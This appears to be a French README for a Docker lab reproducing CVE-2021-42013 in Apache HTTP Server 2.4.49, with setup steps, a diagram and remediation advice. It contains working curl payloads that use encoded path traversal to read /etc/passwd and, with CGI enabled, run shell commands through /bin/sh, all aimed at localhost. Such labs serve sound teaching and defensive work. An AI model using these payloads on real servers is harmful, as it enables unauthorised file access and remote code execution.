
Travail de laboratoire démontrant la vulnérabilité d'Apache HTTP Server 2.4.49 (CVE-2021-42013) dans un environnement Docker.
Dans ce projet, j'ai démontré la vulnérabilité CVE-2021-42013 présente dans Apache HTTP Server 2.4.49 dans un environnement de laboratoire que j'ai créé avec Docker.
L'objectif est d'analyser, dans un environnement contrôlé, comment la vulnérabilité se manifeste, comment elle fonctionne et quels sont ses effets sur le système.
Ce travail a été préparé uniquement à des fins éducatives et de laboratoire.
.
├── Dockerfile
├── index.html
└── README.md
Avant d'exécuter le projet, les éléments suivants doivent être installés.
Tout d'abord, téléchargez le dépôt sur votre ordinateur.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
Entrez dans le dossier.
cd apache-cve-2021-42013-lab
Créez l'image Docker.
docker build -t apache-2.4.49-src .
Démarrez le conteneur.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Entrez dans le conteneur.
docker exec -it apache-src /bin/bash
Vérifiez la version d'Apache.
/usr/local/apache2/bin/httpd -v
Pour sortir du conteneur :
exit
Vous pouvez vérifier si le module CGI est activé à l'aide de la commande suivante.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
Ensuite, redémarrez Apache.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
Pour désactiver le module CGI :
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
Pour afficher davantage d'informations sur le système :
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
Après avoir terminé l'installation :
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
Pour pouvoir démontrer le scénario RCE, le module mod_cgi doit être activé.
Pour corriger cette vulnérabilité, il est recommandé de mettre à niveau Apache HTTP Server vers la version 2.4.51 ou une version plus récente. Il est également recommandé de désactiver CGI s'il n'est pas utilisé et de définir des permissions d'accès appropriées uniquement pour les répertoires nécessaires.